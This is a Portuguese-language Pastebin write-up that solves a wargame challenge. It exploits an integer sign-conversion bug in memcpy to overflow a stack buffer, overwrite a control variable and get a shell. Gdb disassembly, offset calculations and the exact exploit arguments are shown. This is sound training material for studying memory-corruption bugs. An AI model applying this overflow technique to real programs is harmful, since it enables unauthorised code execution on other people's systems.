Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Solução do wargame visto em
- http://daemoniolabs.wordpress.com/2012/09/02/conversao-de-tipos-em-c-parte-i/
- by daemonio @ Fri Dec 6 13:03:56 BRST 2013
- A solução consiste em:
- (1) bypasar o primeiro if
- (2) overflow em buf e
- (3) colocar o valor 0x574f4c46 na var. count
- (1) os valores do parâmetro que bypassam o if são:
- valores positivos: argv[1] = 0..9
- Gvalores negativos: argv[1] = -MIN_INT..-1
- Se colocarmos um valor entre 0 e 10 não será possível fazer um overflow
- em buf. só nos sobra os valores negativos.
- Qual o sentido disso? Usando um valor negativo fazemos com que ele seja
- interpretado como unsigned na chamada de memcpy(). Esse valor pode ser
- tao grande quando desejarmos para assim fazermos oveflow em buf.
- obs:Esse é o clássico problema de conversão de sinal para sem sinal.
- Qual valor usar? O count é nossa variável de controle e ela é usada
- no último parâmetro de memcpy. Quando o seu valor é multiplicado por
- sizeof(int) -- que é 4 -- os bits de count serão deslocados 2 casas
- para à esquerda.
- Se entrarmos com o valor:
- -1073741819
- esse número em binário é:
- 11000000000000000000000000000101
- ao ser multiplicado por quatro, esse valor deixará de ser negativo
- e passará a ser positivo.
- 00000000000000000000000000010100
- o novo valor é 20.
- Com isso o memcpy irá fazer uma leitura de 16 bytes de argv[2] e jogá-lo em buf. Como
- buf tem capacidade de 10 bytes, então temos um overflow.
- (2)
- Vamos supor que count está acima de buf na pilha. Com isso podemos alcançá-lo através
- do overflow e alterar seu valor.
- O esquema seria:
- [ count ]
- [ XX ]
- [ buf ]
- entre o início de buf e count estará os 10 bytes de buf mais um padding que o compilador faz.
- Não é possível prever qual será o valor desse padding pois isso parece depender
- da versão do compilador e também do processo de compilação (ex: se usou otimização
- ou não)
- Para encontrar o tamanho do espaço de memória entre buf e count devemos usar o gcc.
- daemonio@fedora:~$ gdb bla
- Reading symbols from /home/daemonio/bla...(no debugging symbols found)...done.
- (gdb) disas main
- Dump of assembler code for function main:
- 0x08048490 <+0>: push %ebp
- 0x08048491 <+1>: mov %esp,%ebp
- 0x08048493 <+3>: and $0xfffffff0,%esp
- 0x08048496 <+6>: sub $0x40,%esp
- 0x08048499 <+9>: mov 0xc(%ebp),%eax
- 0x0804849c <+12>: add $0x4,%eax
- 0x0804849f <+15>: mov (%eax),%eax
- 0x080484a1 <+17>: mov %eax,(%esp)
- 0x080484a4 <+20>: call 0x8048380 <atoi@plt>
- 0x080484a9 <+25>: mov %eax,0x3c(%esp) ---------------> count = 0x3c + $esp
- 0x080484ad <+29>: cmpl $0x9,0x3c(%esp)
- 0x080484b2 <+34>: jle 0x80484bb <main+43>
- 0x080484b4 <+36>: mov $0x1,%eax
- 0x080484b9 <+41>: jmp 0x8048527 <main+151>
- 0x080484bb <+43>: mov 0x3c(%esp),%eax
- 0x080484bf <+47>: lea 0x0(,%eax,4),%edx
- 0x080484c6 <+54>: mov 0xc(%ebp),%eax
- 0x080484c9 <+57>: add $0x8,%eax
- 0x080484cc <+60>: mov (%eax),%eax
- 0x080484ce <+62>: mov %edx,0x8(%esp)
- 0x080484d2 <+66>: mov %eax,0x4(%esp)
- 0x080484d6 <+70>: lea 0x14(%esp),%eax ----------------> buf = 0x14 + $esp
- 0x080484da <+74>: mov %eax,(%esp)
- 0x080484dd <+77>: call 0x8048330 <memcpy@plt>
- 0x080484e2 <+82>: cmpl $0x574f4c46,0x3c(%esp)
- 0x080484ea <+90>: jne 0x8048516 <main+134>
- 0x080484ec <+92>: movl $0x80485c4,(%esp)
- 0x080484f3 <+99>: call 0x8048340 <puts@plt>
- 0x080484f8 <+104>: movl $0x0,0x8(%esp)
- 0x08048500 <+112>: movl $0x80485c9,0x4(%esp)
- 0x08048508 <+120>: movl $0x80485cc,(%esp)
- 0x0804850f <+127>: call 0x8048370 <execl@plt>
- 0x08048514 <+132>: jmp 0x8048522 <main+146>
- 0x08048516 <+134>: movl $0x80485d4,(%esp)
- 0x0804851d <+141>: call 0x8048340 <puts@plt>
- 0x08048522 <+146>: mov $0x0,%eax
- 0x08048527 <+151>: leave
- 0x08048528 <+152>: ret
- Para encontrar os endereços:
- O count recebe o retorno de atoi(), que é feito no registrador %eax, com isso sabemos
- onde está o count. Sabemos que o buf é o primeiro parâmetro do memcpy então o cálculo de
- seu endereço deve estar próximo a chamada de memcpy. Encontramos esse endereço na
- instrução leal, que mandará o endereço de buf para %eax e o mov seguinte colocará esse
- endereço como primeiro parâmetro.
- Vemos que:
- count está em 0x3c+$esp
- buf está em 0x14+$esp
- buf está abaixo de count (0x3c > 0x14) então podemos sobrescrever count através do
- overflow.
- obs: isso não é regra, é possível que count esteja abaixo de buf. Se isso acontecer com
- você tente compilar o bla.c sem otimização (opção -O0 no gcc). Lembrando que no wargame
- você só tem acesso ao binário e lá o count está acima de buf.
- O espaço entre buf e count é:
- $ dcalc 0x3c-0x14
- 40(10) : 40
- 40(2) : 0y101000
- 40(8) : 0o50
- 40(16) : 0x28
- Então devemos fazer um overflow de no mínimo 44 bytes. Os primeiros 40 bytes preenchem os espaço
- entre buf e count e os 4 restantes será o valor de count.
- Agora vamos achar o valor de argv[1]:
- $ dcalc '44/4'
- 11(10) : 11
- 11(2) : 0y1011
- 11(8) : 0o13
- 11(16) : 0xB
- basta ativarmos o bit mais significativo para bypassarmos o if:
- 10000000000000000000000000001011
- esse número é:
- -2147483637
- Obs: para encontrar esse número é só usar complemento de dois: inverte e some 1
- $ dcalc 0y01111111111111111111111111110101
- 2147483637(10) : 2147483637
- 2147483637(2) : 0y1111111111111111111111111110101
- 2147483637(8) : 0o17777777765
- 2147483637(16) : 0x7FFFFFF5
- Bem, tudo que precisamos agora é executar o programa com o seguinte comando:
- $ ./programa -2147483637 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX''AAAA'
- essa linha colocará o valor 0x41414141 em count.
- $ gdb -q programa
- (gdb) disas
- ....
- 0x080484e2 <+82>: cmpl $0x574f4c46,0x3c(%esp)
- ....
- (gdb) b *0x080484e2
- (gdb) r -2147483637 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX''AAAA'
- (gdb) x/x 0x3c+$esp
- 0xbffff4ec: 0x41414141
- O valor de count é 0x41414141. Mas não queremos esse, queremos o 0x574f4c46.
- (gdb) r -2147483637 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'$'\x46\x4c\x4f\x57'
- The program being debugged has been started already.
- Start it from the beginning? (y or n) y
- Starting program: /home/daemonio/bla -2147483637 ...
- Breakpoint 1, 0x080484e2 in main ()
- (gdb) c
- Continuing.
- WIN!
- process 20832 is executing new program: /usr/bin/bash
- sh-4.2$
- sh-4.2$ id
- Detaching after fork from child process 20835.
- uid=1000(daemonio) gid=1000(daemonio) groups=1000(daemonio),3(sys),7(lp)
- Pronto!! Conseguimos a shell.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement